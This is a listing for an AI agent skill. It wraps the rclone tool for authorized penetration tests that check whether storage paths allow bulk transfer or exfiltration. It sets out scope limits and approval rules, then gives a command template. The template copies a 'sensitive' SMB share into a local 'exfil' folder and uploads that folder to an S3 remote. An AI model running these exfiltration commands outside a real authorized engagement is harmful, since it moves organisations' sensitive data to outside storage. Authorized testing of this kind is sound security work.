# Rclone

> Use for tightly scoped file transfer and cloud-storage access validation during authorized pentests. Trigger on approved exfiltration-path simulation, storage exposure review, and determining whether a specific path allows unauthorized bulk transfer.

- Skill: `timsonner/rclone` (Agent Skill)
- Install (CLI): `npx skillmds@latest add timsonner/rclone`
- Raw SKILL.md: https://api.skillmd.com/api/skills/timsonner/rclone/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: DevOps & Infra
- License: MIT
- Author: timsonner (https://skillmd.com/u/timsonner)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/timsonner/rclone

---


# Rclone

## Purpose

Use this skill only when the rules of engagement explicitly permit file-transfer or storage-path validation against named approved destinations.

## Phase Fit

- Primary: Validation and Controlled Impact Demonstration
- Secondary: Vulnerability Analysis, Retest and Closure

## Use When

- Need to validate whether a specific storage path permits bulk transfer or remote access.
- Need to simulate an approved exfiltration path with minimal data.
- Need a repeatable retest after storage-control hardening.

## Avoid When

- Transfer or exfiltration-path simulation is not explicitly approved.
- Remote or path boundaries are unclear.

## Inputs

- Approved remote and path scope
- Explicit file-transfer approval boundaries
- Evidence minimization and retention rules

## Procedure

1. Limit the test to minimal sample data and named approved destinations.
2. Validate only the specific transfer or listing path under review.
3. Stop once the path is confirmed or disproved.
4. Record the exact remote, path, and transfer mode used.
5. Remove any approved test artifacts if required by the engagement.

## Command Syntax

Replace sample remotes and paths with approved in-scope values.

```bash
# Configure a remote (interactive wizard)
rclone config

# List contents of a configured remote
rclone ls smb-contoso:SHARE/

# Copy data from a configured SMB remote to local
rclone copy smb-contoso:SHARE/sensitive /tmp/exfil/ --progress

# Copy local evidence to an approved cloud remote
rclone copy /tmp/exfil/ s3-remote:contoso-evidence/ --progress

# Check what is already on the remote
rclone ls s3-remote:contoso-evidence/

# List configured remotes
rclone listremotes
```

## Evidence to Capture

- Whether the approved transfer path worked
- Exact remote, path, and file scope used
- Minimal proof needed to support remediation

## Safety Boundaries

- Use only with explicit written approval.
- Keep data volume minimal and protect all transferred artifacts.